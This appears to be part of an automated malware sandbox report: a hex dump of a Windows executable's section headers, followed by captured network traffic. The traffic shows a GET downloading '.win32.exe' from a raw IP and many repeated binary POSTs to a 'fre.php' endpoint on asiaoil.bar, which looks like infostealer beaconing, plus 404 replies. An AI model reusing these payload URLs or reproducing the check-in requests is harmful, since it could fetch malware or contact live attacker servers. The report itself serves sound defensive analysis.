00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 70 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 76 59 00 00 00 10 00 00 00 5a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 90 11 00 00 00 70 00 00 00 12 00 00 00 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 af 01 00 00 90 00 00 00 04 00 00 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 6e 64 61 74 61 00 00 00 80 00 00 00 40 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 c0 2e 72 73 72 63 00 00 00 00 09 00 00 00 c0 02 00 00 0a 00 00 00 74 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0

Source: global traffic	HTTP traffic detected: GET /windowSSH/.win32.exe HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 198.46.132.195Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 176Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close
Source: global traffic	HTTP traffic detected: POST //bobby/five/fre.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: asiaoil.barAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 579BFA72Content-Length: 149Connection: close

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:21:59 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=B14QjzK93WN7FMCRwgPdBoL4GvyuLTCNzn128gIE66EmvAljQdFfNPOn5qPxQ8nApBsPYHTSjURn1ssUf9vIO%2F1OL2%2BdI5plkWkZzNc4H79V9rsVWKoyCfjhFO%2FkqQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4453c8e679137-FRAData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:02 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SYIeoMifwVUCSlJ5xQ%2FPPGpv3kxeM8Le4fFZcBSBNQE%2F00nQuzz6hHD2E4yzDxCDvC4GoHGHI7XDrLhEy10sRiqxImrim07qG7zifuLYaSXjE11cVB6vD4NlHq2qFQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4454fc86b917d-FRAData Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:03 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lb9okY1H6vGjyVC1u7%2FrtI1IlQS%2BFDAUyP1p%2FRqqpdW3oHWuKdkbXEj1FlsGoYPfJTBdMWMce2JdGAcisXgmjvWPRjePl3xI2oQ%2BLjS4JVazUAB%2FtUVsenR8M%2BuUug%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db44555fbc890ee-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:05 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=WGSy9RBpA4nwv8vPkiC6IlReHDy2beH0Xpr8Jw91%2BmfmRccN%2FYfWCgt%2Fb96BC2i38aPjRgJdSwh7RJOrlqreqeiX8LTLhluVlMMPLsLX%2BVqck485IQfR0ZCBs3Abjw%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db4455ccab45c80-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:06 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FkwECIztonU5sKraKeo0SBfQsbzTNEo9c%2Fgv1LcFjyGRwr%2BO5HxPKVAbUysSrtRDLw4YSAITjFTpY93Ba0oLX8DHultt24WrAHZv82zviiHQIIiLmBXtIoOyR3vI7w%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db44563480c9225-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:07 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=mWD8oFcQTyd%2FKCuxdF4a9PY1C39C0%2FGNEfnX%2F9EktX8IXwXAk4CddsJG8chvleqV6%2Bl4Pe9X7pM9zS7OCYa1Qb%2B3%2FB%2BhM5NKwwPD%2BX%2FUskzFky%2FFOD%2Fvt045vN%2BQZQ%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db44569da6591e1-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 10 Feb 2022 09:22:08 GMTContent-Type: text/html; charset=UTF-8Connection: closeStatus: 404 Not FoundCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GAzVwCo6pQjEmafddnL4QX9z1sDFHB2J%2FYbOLf50is46eNnXoOwYOokrFvyBn6ciX3XJ3aLhnc3SW1RSny%2BWp7rsb%2FchkjZeaoltFUzmAOwl3IbNQWt4WAouWFDm8Q%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 6db44570da0591ea-FRAData Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.
